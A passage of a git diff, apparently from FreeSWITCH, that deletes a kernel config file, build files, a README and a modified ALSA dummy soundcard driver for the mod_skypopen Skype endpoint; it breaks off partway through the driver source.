-CONFIG_FAT_DEFAULT_CODEPAGE=437
-CONFIG_FAT_DEFAULT_IOCHARSET="ascii"
-# CONFIG_NTFS_FS is not set
-
-#
-# Pseudo filesystems
-#
-CONFIG_PROC_FS=y
-CONFIG_PROC_KCORE=y
-CONFIG_PROC_VMCORE=y
-CONFIG_PROC_SYSCTL=y
-CONFIG_SYSFS=y
-CONFIG_TMPFS=y
-# CONFIG_TMPFS_POSIX_ACL is not set
-CONFIG_HUGETLBFS=y
-CONFIG_HUGETLB_PAGE=y
-CONFIG_CONFIGFS_FS=m
-
-#
-# Miscellaneous filesystems
-#
-# CONFIG_ADFS_FS is not set
-# CONFIG_AFFS_FS is not set
-CONFIG_ECRYPT_FS=m
-CONFIG_HFS_FS=m
-CONFIG_HFSPLUS_FS=m
-# CONFIG_BEFS_FS is not set
-# CONFIG_BFS_FS is not set
-# CONFIG_EFS_FS is not set
-CONFIG_JFFS2_FS=m
-CONFIG_JFFS2_FS_DEBUG=0
-CONFIG_JFFS2_FS_WRITEBUFFER=y
-# CONFIG_JFFS2_FS_WBUF_VERIFY is not set
-CONFIG_JFFS2_SUMMARY=y
-# CONFIG_JFFS2_FS_XATTR is not set
-# CONFIG_JFFS2_COMPRESSION_OPTIONS is not set
-CONFIG_JFFS2_ZLIB=y
-# CONFIG_JFFS2_LZO is not set
-CONFIG_JFFS2_RTIME=y
-# CONFIG_JFFS2_RUBIN is not set
-CONFIG_CRAMFS=m
-CONFIG_VXFS_FS=m
-# CONFIG_HPFS_FS is not set
-# CONFIG_QNX4FS_FS is not set
-# CONFIG_SYSV_FS is not set
-# CONFIG_UFS_FS is not set
-CONFIG_NETWORK_FILESYSTEMS=y
-CONFIG_NFS_FS=m
-CONFIG_NFS_V3=y
-CONFIG_NFS_V3_ACL=y
-CONFIG_NFS_V4=y
-CONFIG_NFS_DIRECTIO=y
-CONFIG_NFSD=m
-CONFIG_NFSD_V2_ACL=y
-CONFIG_NFSD_V3=y
-CONFIG_NFSD_V3_ACL=y
-CONFIG_NFSD_V4=y
-CONFIG_NFSD_TCP=y
-CONFIG_LOCKD=m
-CONFIG_LOCKD_V4=y
-CONFIG_EXPORTFS=m
-CONFIG_NFS_ACL_SUPPORT=m
-CONFIG_NFS_COMMON=y
-CONFIG_SUNRPC=m
-CONFIG_SUNRPC_GSS=m
-CONFIG_SUNRPC_XPRT_RDMA=m
-# CONFIG_SUNRPC_BIND34 is not set
-CONFIG_RPCSEC_GSS_KRB5=m
-CONFIG_RPCSEC_GSS_SPKM3=m
-# CONFIG_SMB_FS is not set
-CONFIG_CIFS=m
-# CONFIG_CIFS_STATS is not set
-CONFIG_CIFS_WEAK_PW_HASH=y
-CONFIG_CIFS_XATTR=y
-CONFIG_CIFS_POSIX=y
-# CONFIG_CIFS_DEBUG2 is not set
-CONFIG_CIFS_EXPERIMENTAL=y
-CONFIG_CIFS_UPCALL=y
-# CONFIG_NCP_FS is not set
-# CONFIG_CODA_FS is not set
-# CONFIG_AFS_FS is not set
-
-#
-# Partition Types
-#
-CONFIG_PARTITION_ADVANCED=y
-# CONFIG_ACORN_PARTITION is not set
-CONFIG_OSF_PARTITION=y
-CONFIG_AMIGA_PARTITION=y
-# CONFIG_ATARI_PARTITION is not set
-CONFIG_MAC_PARTITION=y
-CONFIG_MSDOS_PARTITION=y
-CONFIG_BSD_DISKLABEL=y
-CONFIG_MINIX_SUBPARTITION=y
-CONFIG_SOLARIS_X86_PARTITION=y
-CONFIG_UNIXWARE_DISKLABEL=y
-# CONFIG_LDM_PARTITION is not set
-CONFIG_SGI_PARTITION=y
-# CONFIG_ULTRIX_PARTITION is not set
-CONFIG_SUN_PARTITION=y
-CONFIG_KARMA_PARTITION=y
-CONFIG_EFI_PARTITION=y
-# CONFIG_SYSV68_PARTITION is not set
-CONFIG_NLS=y
-CONFIG_NLS_DEFAULT="utf8"
-CONFIG_NLS_CODEPAGE_437=y
-CONFIG_NLS_CODEPAGE_737=m
-CONFIG_NLS_CODEPAGE_775=m
-CONFIG_NLS_CODEPAGE_850=m
-CONFIG_NLS_CODEPAGE_852=m
-CONFIG_NLS_CODEPAGE_855=m
-CONFIG_NLS_CODEPAGE_857=m
-CONFIG_NLS_CODEPAGE_860=m
-CONFIG_NLS_CODEPAGE_861=m
-CONFIG_NLS_CODEPAGE_862=m
-CONFIG_NLS_CODEPAGE_863=m
-CONFIG_NLS_CODEPAGE_864=m
-CONFIG_NLS_CODEPAGE_865=m
-CONFIG_NLS_CODEPAGE_866=m
-CONFIG_NLS_CODEPAGE_869=m
-CONFIG_NLS_CODEPAGE_936=m
-CONFIG_NLS_CODEPAGE_950=m
-CONFIG_NLS_CODEPAGE_932=m
-CONFIG_NLS_CODEPAGE_949=m
-CONFIG_NLS_CODEPAGE_874=m
-CONFIG_NLS_ISO8859_8=m
-CONFIG_NLS_CODEPAGE_1250=m
-CONFIG_NLS_CODEPAGE_1251=m
-CONFIG_NLS_ASCII=y
-CONFIG_NLS_ISO8859_1=m
-CONFIG_NLS_ISO8859_2=m
-CONFIG_NLS_ISO8859_3=m
-CONFIG_NLS_ISO8859_4=m
-CONFIG_NLS_ISO8859_5=m
-CONFIG_NLS_ISO8859_6=m
-CONFIG_NLS_ISO8859_7=m
-CONFIG_NLS_ISO8859_9=m
-CONFIG_NLS_ISO8859_13=m
-CONFIG_NLS_ISO8859_14=m
-CONFIG_NLS_ISO8859_15=m
-CONFIG_NLS_KOI8_R=m
-CONFIG_NLS_KOI8_U=m
-CONFIG_NLS_UTF8=m
-CONFIG_DLM=m
-CONFIG_DLM_DEBUG=y
-CONFIG_INSTRUMENTATION=y
-CONFIG_PROFILING=y
-CONFIG_OPROFILE=m
-CONFIG_KPROBES=y
-CONFIG_MARKERS=y
-
-#
-# Kernel hacking
-#
-CONFIG_TRACE_IRQFLAGS_SUPPORT=y
-# CONFIG_PRINTK_TIME is not set
-CONFIG_ENABLE_WARN_DEPRECATED=y
-CONFIG_ENABLE_MUST_CHECK=y
-CONFIG_MAGIC_SYSRQ=y
-# CONFIG_UNUSED_SYMBOLS is not set
-CONFIG_DEBUG_FS=y
-# CONFIG_HEADERS_CHECK is not set
-CONFIG_DEBUG_KERNEL=y
-# CONFIG_DEBUG_SHIRQ is not set
-CONFIG_DETECT_SOFTLOCKUP=y
-CONFIG_SCHED_DEBUG=y
-CONFIG_SCHEDSTATS=y
-# CONFIG_TIMER_STATS is not set
-# CONFIG_DEBUG_SLAB is not set
-# CONFIG_DEBUG_RT_MUTEXES is not set
-# CONFIG_RT_MUTEX_TESTER is not set
-# CONFIG_DEBUG_SPINLOCK is not set
-# CONFIG_DEBUG_MUTEXES is not set
-# CONFIG_DEBUG_LOCK_ALLOC is not set
-# CONFIG_PROVE_LOCKING is not set
-# CONFIG_LOCK_STAT is not set
-# CONFIG_DEBUG_SPINLOCK_SLEEP is not set
-# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
-# CONFIG_DEBUG_KOBJECT is not set
-CONFIG_DEBUG_BUGVERBOSE=y
-CONFIG_DEBUG_INFO=y
-# CONFIG_DEBUG_VM is not set
-CONFIG_DEBUG_LIST=y
-# CONFIG_DEBUG_SG is not set
-# CONFIG_FRAME_POINTER is not set
-# CONFIG_FORCED_INLINING is not set
-# CONFIG_BOOT_PRINTK_DELAY is not set
-# CONFIG_RCU_TORTURE_TEST is not set
-# CONFIG_LKDTM is not set
-# CONFIG_FAULT_INJECTION is not set
-CONFIG_SAMPLES=y
-CONFIG_SAMPLE_MARKERS=m
-CONFIG_EARLY_PRINTK=y
-CONFIG_DEBUG_STACKOVERFLOW=y
-# CONFIG_DEBUG_STACK_USAGE is not set
-CONFIG_DEBUG_RODATA=y
-# CONFIG_IOMMU_DEBUG is not set
-
-#
-# Security options
-#
-CONFIG_KEYS=y
-CONFIG_KEYS_DEBUG_PROC_KEYS=y
-CONFIG_SECURITY=y
-CONFIG_SECURITY_NETWORK=y
-CONFIG_SECURITY_NETWORK_XFRM=y
-CONFIG_SECURITY_CAPABILITIES=y
-# CONFIG_SECURITY_FILE_CAPABILITIES is not set
-# CONFIG_SECURITY_ROOTPLUG is not set
-CONFIG_SECURITY_SELINUX=y
-CONFIG_SECURITY_SELINUX_BOOTPARAM=y
-CONFIG_SECURITY_SELINUX_BOOTPARAM_VALUE=1
-CONFIG_SECURITY_SELINUX_DISABLE=y
-CONFIG_SECURITY_SELINUX_DEVELOP=y
-CONFIG_SECURITY_SELINUX_AVC_STATS=y
-CONFIG_SECURITY_SELINUX_CHECKREQPROT_VALUE=1
-CONFIG_SECURITY_SELINUX_ENABLE_SECMARK_DEFAULT=y
-# CONFIG_SECURITY_SELINUX_POLICYDB_VERSION_MAX is not set
-CONFIG_XOR_BLOCKS=m
-CONFIG_ASYNC_CORE=m
-CONFIG_ASYNC_MEMCPY=m
-CONFIG_ASYNC_XOR=m
-CONFIG_CRYPTO=y
-CONFIG_CRYPTO_ALGAPI=y
-CONFIG_CRYPTO_AEAD=m
-CONFIG_CRYPTO_BLKCIPHER=m
-CONFIG_CRYPTO_HASH=y
-CONFIG_CRYPTO_MANAGER=y
-CONFIG_CRYPTO_HMAC=y
-CONFIG_CRYPTO_XCBC=m
-CONFIG_CRYPTO_NULL=m
-CONFIG_CRYPTO_MD4=m
-CONFIG_CRYPTO_MD5=m
-CONFIG_CRYPTO_SHA1=y
-CONFIG_CRYPTO_SHA256=m
-CONFIG_CRYPTO_SHA512=m
-CONFIG_CRYPTO_WP512=m
-CONFIG_CRYPTO_TGR192=m
-# CONFIG_CRYPTO_GF128MUL is not set
-CONFIG_CRYPTO_ECB=m
-CONFIG_CRYPTO_CBC=m
-# CONFIG_CRYPTO_PCBC is not set
-# CONFIG_CRYPTO_LRW is not set
-# CONFIG_CRYPTO_XTS is not set
-# CONFIG_CRYPTO_CRYPTD is not set
-CONFIG_CRYPTO_DES=m
-# CONFIG_CRYPTO_FCRYPT is not set
-CONFIG_CRYPTO_BLOWFISH=m
-CONFIG_CRYPTO_TWOFISH=m
-CONFIG_CRYPTO_TWOFISH_COMMON=m
-# CONFIG_CRYPTO_TWOFISH_X86_64 is not set
-CONFIG_CRYPTO_SERPENT=m
-CONFIG_CRYPTO_AES=m
-CONFIG_CRYPTO_AES_X86_64=m
-CONFIG_CRYPTO_CAST5=m
-CONFIG_CRYPTO_CAST6=m
-CONFIG_CRYPTO_TEA=m
-CONFIG_CRYPTO_ARC4=m
-CONFIG_CRYPTO_KHAZAD=m
-CONFIG_CRYPTO_ANUBIS=m
-# CONFIG_CRYPTO_SEED is not set
-CONFIG_CRYPTO_DEFLATE=m
-CONFIG_CRYPTO_MICHAEL_MIC=m
-CONFIG_CRYPTO_CRC32C=y
-# CONFIG_CRYPTO_CAMELLIA is not set
-CONFIG_CRYPTO_TEST=m
-CONFIG_CRYPTO_AUTHENC=m
-CONFIG_CRYPTO_HW=y
-
-#
-# Library routines
-#
-CONFIG_BITREVERSE=y
-CONFIG_CRC_CCITT=m
-CONFIG_CRC16=m
-CONFIG_CRC_ITU_T=m
-CONFIG_CRC32=y
-# CONFIG_CRC7 is not set
-CONFIG_LIBCRC32C=y
-CONFIG_ZLIB_INFLATE=y
-CONFIG_ZLIB_DEFLATE=m
-CONFIG_GENERIC_ALLOCATOR=y
-CONFIG_REED_SOLOMON=m
-CONFIG_REED_SOLOMON_DEC16=y
-CONFIG_TEXTSEARCH=y
-CONFIG_TEXTSEARCH_KMP=m
-CONFIG_TEXTSEARCH_BM=m
-CONFIG_TEXTSEARCH_FSM=m
-CONFIG_PLIST=y
-CONFIG_HAS_IOMEM=y
-CONFIG_HAS_IOPORT=y
-CONFIG_HAS_DMA=y
diff --git a/src/mod/endpoints/mod_skypopen/kernel/dummy.c.skypiax b/src/mod/endpoints/mod_skypopen/kernel/dummy.c.skypiax
deleted file mode 120000 (symlink)
index 69e8d5c..0000000
+++ /dev/null
@@ -1 +0,0 @@
-../alsa/dummy.c
\ No newline at end of file
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/Makefile.am b/src/mod/endpoints/mod_skypopen/mod_skypopen/Makefile.am
deleted file mode 100644 (file)
index 466a09b..0000000
+++ /dev/null
@@ -1,7 +0,0 @@
-include $(top_srcdir)/build/modmake.rulesam
-MODNAME=mod_skypopen
-mod_LTLIBRARIES = mod_skypopen.la
-mod_skypopen_la_SOURCES  = mod_skypopen.c skypopen_protocol.c
-mod_skypopen_la_CFLAGS   = $(AM_CFLAGS) -DSKYPOPEN_SVN_VERSION=\"`cat $(switch_builddir)/.version`\" -I../../../../libs/spandsp/src -I../../../..//libs/tiff-3.8.2/libtiff
-mod_skypopen_la_LIBADD   = $(switch_builddir)/libfreeswitch.la
-mod_skypopen_la_LDFLAGS  = -L../../../../libs/spandsp/src -avoid-version -module -no-undefined -shared -lX11 -lspandsp
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/README b/src/mod/endpoints/mod_skypopen/mod_skypopen/README
deleted file mode 100644 (file)
index ca71d53..0000000
+++ /dev/null
@@ -1,9 +0,0 @@
-Skypopen, Skype Endpoint and Trunk
-
-All documentation on compiling, using, configuring, 
-tricks and tweaks, possible problems at: 
-
-http://wiki.freeswitch.org/wiki/Skypiax_Skype_Endpoint_and_Trunk
-
-< gmaruzz at gmail dot com >
-
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/alsa/alsa-driver-1.0.20-dummy.c b/src/mod/endpoints/mod_skypopen/mod_skypopen/alsa/alsa-driver-1.0.20-dummy.c
deleted file mode 120000 (symlink)
index 1635114..0000000
+++ /dev/null
@@ -1 +0,0 @@
-./dummy.c
\ No newline at end of file
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/alsa/dummy.c b/src/mod/endpoints/mod_skypopen/mod_skypopen/alsa/dummy.c
deleted file mode 100644 (file)
index 69a2d4f..0000000
+++ /dev/null
@@ -1,787 +0,0 @@
-/*
- *  Dummy soundcard
- *  Copyright (c) by Jaroslav Kysela <perex@perex.cz>
- *
- *   This program is free software; you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY; without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *   GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program; if not, write to the Free Software
- *   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA
- *
- */
-
-#include <sound/driver.h>              //giova
-#include <linux/init.h>
-#include <linux/err.h>
-#include <linux/platform_device.h>
-#include <linux/jiffies.h>
-#include <linux/slab.h>
-#include <linux/time.h>
-#include <linux/wait.h>
-#include <linux/moduleparam.h>
-#include <sound/core.h>
-#include <sound/control.h>
-#include <sound/tlv.h>
-#include <sound/pcm.h>
-#include <sound/rawmidi.h>
-#include <sound/initval.h>
-
-
-MODULE_AUTHOR("Jaroslav Kysela <perex@perex.cz>");
-MODULE_DESCRIPTION("Dummy soundcard (/dev/null)");
-MODULE_LICENSE("GPL");
-MODULE_SUPPORTED_DEVICE("{{ALSA,Dummy soundcard}}");
-
-#define MAX_PCM_DEVICES                4
-#define MAX_PCM_SUBSTREAMS     128
-#define MAX_MIDI_DEVICES       2
-
-
-/* defaults */
-#ifndef MAX_BUFFER_SIZE
-#define MAX_BUFFER_SIZE                (64*1024)
-#endif
-#ifndef MAX_PERIOD_SIZE
-#define MAX_PERIOD_SIZE                MAX_BUFFER_SIZE
-#endif
-#ifndef USE_FORMATS
-#define USE_FORMATS            (SNDRV_PCM_FMTBIT_U8 | SNDRV_PCM_FMTBIT_S16_LE)
-#endif
-#ifndef USE_RATE
-#define USE_RATE               SNDRV_PCM_RATE_CONTINUOUS | SNDRV_PCM_RATE_8000_48000
-#define USE_RATE_MIN           5500
-#define USE_RATE_MAX           48000
-#endif
-#ifndef USE_CHANNELS_MIN
-#define USE_CHANNELS_MIN       1
-#endif
-#ifndef USE_CHANNELS_MAX
-#define USE_CHANNELS_MAX       2
-#endif
-#ifndef USE_PERIODS_MIN
-#define USE_PERIODS_MIN        1
-#endif
-#ifndef USE_PERIODS_MAX
-#define USE_PERIODS_MAX        1024
-#endif
-#ifndef add_playback_constraints
-#define add_playback_constraints(x) 0
-#endif
-#ifndef add_capture_constraints
-#define add_capture_constraints(x) 0
-#endif
-
-static int index[SNDRV_CARDS] = SNDRV_DEFAULT_IDX;     /* Index 0-MAX */
-static char *id[SNDRV_CARDS] = SNDRV_DEFAULT_STR;      /* ID for this card */
-static int enable[SNDRV_CARDS] = { 1,[1 ... (SNDRV_CARDS - 1)] = 0 };
-static int pcm_devs[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 1 };
-static int pcm_substreams[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 128 };
-
-
-module_param_array(index, int, NULL, 0444);
-MODULE_PARM_DESC(index, "Index value for dummy soundcard.");
-module_param_array(id, charp, NULL, 0444);
-MODULE_PARM_DESC(id, "ID string for dummy soundcard.");
-module_param_array(enable, bool, NULL, 0444);
-MODULE_PARM_DESC(enable, "Enable this dummy soundcard.");
-module_param_array(pcm_devs, int, NULL, 0444);
-MODULE_PARM_DESC(pcm_devs, "PCM devices # (0-4) for dummy driver.");
-module_param_array(pcm_substreams, int, NULL, 0444);
-MODULE_PARM_DESC(pcm_substreams, "PCM substreams # (1-64) for dummy driver.");
-
-static struct platform_device *devices[SNDRV_CARDS];
-static struct timer_list giovatimer;
-static int giovastarted = 0;
-static int giovaindex = 0;
-static spinlock_t giovalock;
-struct giovadpcm {
-       struct snd_pcm_substream *substream;
-       struct snd_dummy_pcm *dpcm;
-       int started;
-};
-static struct giovadpcm giovadpcms[MAX_PCM_SUBSTREAMS];
-
-#define MIXER_ADDR_MASTER      0
-#define MIXER_ADDR_LINE                1
-#define MIXER_ADDR_MIC         2
-#define MIXER_ADDR_SYNTH       3
-#define MIXER_ADDR_CD          4
-#define MIXER_ADDR_LAST                4
-
-static void snd_card_dummy_pcm_timer_function(unsigned long data);
-struct snd_dummy {
-       struct snd_card *card;
-       struct snd_pcm *pcm;
-       spinlock_t mixer_lock;
-       int mixer_volume[MIXER_ADDR_LAST + 1][2];
-       int capture_source[MIXER_ADDR_LAST + 1][2];
-};
-
-struct snd_dummy_pcm {
-       struct snd_dummy *dummy;
-       spinlock_t lock;
-       struct timer_list timer;
-       unsigned int pcm_buffer_size;
-       unsigned int pcm_period_size;
-       unsigned int pcm_bps;           /* bytes per second */
-       unsigned int pcm_hz;            /* HZ */
-       unsigned int pcm_irq_pos;       /* IRQ position */
-       unsigned int pcm_buf_pos;       /* position in buffer */
-       struct snd_pcm_substream *substream;
-};
-
-
-static inline void snd_card_dummy_pcm_timer_start(struct snd_dummy_pcm *dpcm)
-{
-       int i;
-       int found = 0;
-
-       for (i = 0; i < giovaindex + 1; i++) {
-               if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
-                       printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
-               }
-
-               if (giovadpcms[i].dpcm == dpcm) {
-                       giovadpcms[i].started = 1;
-                       found = 1;
-               }
-       }
-       if (!found) {
-               printk("skypopen: start, NOT found?\n");
-       }
-}
-
-static inline void snd_card_dummy_pcm_timer_stop(struct snd_dummy_pcm *dpcm)
-{
-       int i;
-       int found = 0;
-
-       for (i = 0; i < giovaindex + 1; i++) {
-
-               if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
-                       printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
-               }
-               if (giovadpcms[i].dpcm == dpcm) {
-                       giovadpcms[i].started = 0;
-                       found = 1;
-               }
-       }
-       if (!found) {
-       } else {
-       }
-}
-
-static int snd_card_dummy_pcm_trigger(struct snd_pcm_substream *substream, int cmd)
-{
-       struct snd_pcm_runtime *runtime = substream->runtime;
-       struct snd_dummy_pcm *dpcm = runtime->private_data;
-       int err = 0;
-
-       spin_lock_bh(&giovalock);
-       switch (cmd) {
-       case SNDRV_PCM_TRIGGER_START:
-       case SNDRV_PCM_TRIGGER_RESUME:
-               snd_card_dummy_pcm_timer_start(dpcm);
-               break;
-       case SNDRV_PCM_TRIGGER_STOP:
-       case SNDRV_PCM_TRIGGER_SUSPEND:
-               snd_card_dummy_pcm_timer_stop(dpcm);
-               break;
-       default:
-               err = -EINVAL;
-               break;
-       }
-       spin_unlock_bh(&giovalock);
-       return 0;
-}
-
-static int snd_card_dummy_pcm_prepare(struct snd_pcm_substream *substream)
-{
-       struct snd_pcm_runtime *runtime = substream->runtime;
-       struct snd_dummy_pcm *dpcm = runtime->private_data;
-       int bps;
-
-       bps = snd_pcm_format_width(runtime->format) * runtime->rate * runtime->channels / 8;
-
-       if (bps <= 0)
-               return -EINVAL;
-
-       dpcm->pcm_bps = bps;
-       dpcm->pcm_hz = HZ;
-       dpcm->pcm_buffer_size = snd_pcm_lib_buffer_bytes(substream);
-       dpcm->pcm_period_size = snd_pcm_lib_period_bytes(substream);
-       dpcm->pcm_irq_pos = 0;
-       dpcm->pcm_buf_pos = 0;
-       snd_pcm_format_set_silence(runtime->format, runtime->dma_area, bytes_to_samples(runtime, runtime->dma_bytes));
-
-       return 0;
-}
-
-static void snd_card_dummy_pcm_timer_function(unsigned long data)
-{
-       struct snd_dummy_pcm *dpcm = NULL;
-       int i;
-
-
-       giovatimer.expires = 1 + jiffies;
-       add_timer(&giovatimer);
-
-       for (i = 0; i < giovaindex + 1; i++) {
-
-               if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
-                       printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
-               }
-               if (giovadpcms[i].started != 1)
-                       continue;
-               dpcm = giovadpcms[i].dpcm;
-               if (dpcm == NULL) {
-                       printk("giova: timer_func %d %d NULL: continue\n", __LINE__, i);
-                       continue;
-               }
-               spin_lock_bh(&dpcm->lock);
-               dpcm->pcm_irq_pos += dpcm->pcm_bps;
-               dpcm->pcm_buf_pos += dpcm->pcm_bps;
-               dpcm->pcm_buf_pos %= dpcm->pcm_buffer_size * dpcm->pcm_hz;
-               if (dpcm->pcm_irq_pos >= dpcm->pcm_period_size * dpcm->pcm_hz) {
-                       dpcm->pcm_irq_pos %= dpcm->pcm_period_size * dpcm->pcm_hz;
-                       spin_unlock_bh(&dpcm->lock);
-                       snd_pcm_period_elapsed(dpcm->substream);
-               } else {
-                       spin_unlock_bh(&dpcm->lock);
-               }
-       }
-}
-
-static snd_pcm_uframes_t snd_card_dummy_pcm_pointer(struct snd_pcm_substream *substream)
-{
-       struct snd_pcm_runtime *runtime = substream->runtime;
-       struct snd_dummy_pcm *dpcm = runtime->private_data;
-
-       return bytes_to_frames(runtime, dpcm->pcm_buf_pos / dpcm->pcm_hz);
-}
-
-static struct snd_pcm_hardware snd_card_dummy_playback = {
-       .info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
-       .formats = USE_FORMATS,
-       .rates = USE_RATE,
-       .rate_min = USE_RATE_MIN,
-       .rate_max = USE_RATE_MAX,
-       .channels_min = USE_CHANNELS_MIN,
-       .channels_max = USE_CHANNELS_MAX,
-       .buffer_bytes_max = MAX_BUFFER_SIZE,
-       .period_bytes_min = 64,
-       .period_bytes_max = MAX_PERIOD_SIZE,
-       .periods_min = USE_PERIODS_MIN,
-       .periods_max = USE_PERIODS_MAX,
-       .fifo_size = 0,
-};
-
-static struct snd_pcm_hardware snd_card_dummy_capture = {
-       .info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
-       .formats = USE_FORMATS,
-       .rates = USE_RATE,
-       .rate_min = USE_RATE_MIN,
-       .rate_max = USE_RATE_MAX,
-       .channels_min = USE_CHANNELS_MIN,
-       .channels_max = USE_CHANNELS_MAX,
-       .buffer_bytes_max = MAX_BUFFER_SIZE,
-       .period_bytes_min = 64,
-       .period_bytes_max = MAX_PERIOD_SIZE,
-       .periods_min = USE_PERIODS_MIN,
-       .periods_max = USE_PERIODS_MAX,
-       .fifo_size = 0,
-};
-
-static void snd_card_dummy_runtime_free(struct snd_pcm_runtime *runtime)
-{
-       int i;
-
-       spin_lock_bh(&giovalock);
-
-       for (i = 0; i < giovaindex; i++) {
-
-               if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
-                       printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
-               }
-               if ((giovadpcms[i].dpcm == runtime->private_data)) {
-                       giovadpcms[i].started = 0;
-               } else {
-               }
-       }
-
-       spin_unlock_bh(&giovalock);
-       kfree(runtime->private_data);
-}
-
-static int snd_card_dummy_hw_params(struct snd_pcm_substream *substream, struct snd_pcm_hw_params *hw_params)
-{
-       return snd_pcm_lib_malloc_pages(substream, params_buffer_bytes(hw_params));
-}
-
-static int snd_card_dummy_hw_free(struct snd_pcm_substream *substream)
-{
-       return snd_pcm_lib_free_pages(substream);
-}
-
-static struct snd_dummy_pcm *new_pcm_stream(struct snd_pcm_substream *substream)
-{
-       struct snd_dummy_pcm *dpcm;
-       int i;
-       int found = 0;
-
-       dpcm = kzalloc(sizeof(*dpcm), GFP_KERNEL);
-       if (!dpcm) {
-               printk("giova, %s:%d, giovaindex=%d NO MEMORY!!!!\n", __FILE__, __LINE__, giovaindex);
-               return dpcm;
-       }
-       init_timer(&dpcm->timer);
-       spin_lock_init(&dpcm->lock);
-       dpcm->substream = substream;
-
-       spin_lock_bh(&giovalock);
-       for (i = 0; i < giovaindex; i++) {
-
-               if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
-                       printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
-               }
-               if ((giovadpcms[i].substream == substream)) {
-                       found = 1;
-                       break;
-               }
-
-       }
-
-       if (!found) {
-
-               giovadpcms[giovaindex].substream = substream;
-               giovaindex++;
-       }
-
-
-
-       found = 0;
-       for (i = 0; i < giovaindex; i++) {
-
-               if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
-                       printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
-               }
-               if (giovadpcms[i].substream == substream) {
-                       giovadpcms[i].dpcm = dpcm;
-                       giovadpcms[i].started = 0;
-                       found = 1;
-                       break;
-               }
-
-       }
-
-       spin_unlock_bh(&giovalock);
-       if (!found) {
-               printk("skypopen giovaindex=%d NOT found????\n", giovaindex);
-       }
-       return dpcm;
-}
-
-static int snd_card_dummy_playback_open(struct snd_pcm_substream *substream)
-{
-       struct snd_pcm_runtime *runtime = substream->runtime;
-       struct snd_dummy_pcm *dpcm;
-       int err;
-
-       if ((dpcm = new_pcm_stream(substream)) == NULL)
-               return -ENOMEM;
-       runtime->private_data = dpcm;
-       /* makes the infrastructure responsible for freeing dpcm */
-       runtime->private_free = snd_card_dummy_runtime_free;
-       runtime->hw = snd_card_dummy_playback;
-       if (substream->pcm->device & 1) {
-               runtime->hw.info &= ~SNDRV_PCM_INFO_INTERLEAVED;
-               runtime->hw.info |= SNDRV_PCM_INFO_NONINTERLEAVED;
-       }
-       if (substream->pcm->device & 2)
-               runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID);
-       err = add_playback_constraints(runtime);
-       if (err < 0)
-               return err;
-
-       return 0;
-}
-
-static int snd_card_dummy_capture_open(struct snd_pcm_substream *substream)
-{
-       struct snd_pcm_runtime *runtime = substream->runtime;
-       struct snd_dummy_pcm *dpcm;
-       int err;
-
-       if ((dpcm = new_pcm_stream(substream)) == NULL)
-               return -ENOMEM;
-       runtime->private_data = dpcm;
-       /* makes the infrastructure responsible for freeing dpcm */
-       runtime->private_free = snd_card_dummy_runtime_free;
-       runtime->hw = snd_card_dummy_capture;
-       if (substream->pcm->device == 1) {
-               runtime->hw.info &= ~SNDRV_PCM_INFO_INTERLEAVED;
-               runtime->hw.info |= SNDRV_PCM_INFO_NONINTERLEAVED;
-       }
-       if (substream->pcm->device & 2)
-               runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID);
-       err = add_capture_constraints(runtime);
-       if (err < 0)
-               return err;
-
-       return 0;
-}
-
-static int snd_card_dummy_playback_close(struct snd_pcm_substream *substream)
-{
-       snd_card_dummy_pcm_timer_stop(substream->private_data);
-       return 0;
-}
-
-static int snd_card_dummy_capture_close(struct snd_pcm_substream *substream)
-{
-       snd_card_dummy_pcm_timer_stop(substream->private_data);
-       return 0;
-}
-
-static struct snd_pcm_ops snd_card_dummy_playback_ops = {
-       .open = snd_card_dummy_playback_open,
-       .close = snd_card_dummy_playback_close,
-       .ioctl = snd_pcm_lib_ioctl,
-       .hw_params = snd_card_dummy_hw_params,
-       .hw_free = snd_card_dummy_hw_free,
-       .prepare = snd_card_dummy_pcm_prepare,
-       .trigger = snd_card_dummy_pcm_trigger,
-       .pointer = snd_card_dummy_pcm_pointer,
-};
-
-static struct snd_pcm_ops snd_card_dummy_capture_ops = {
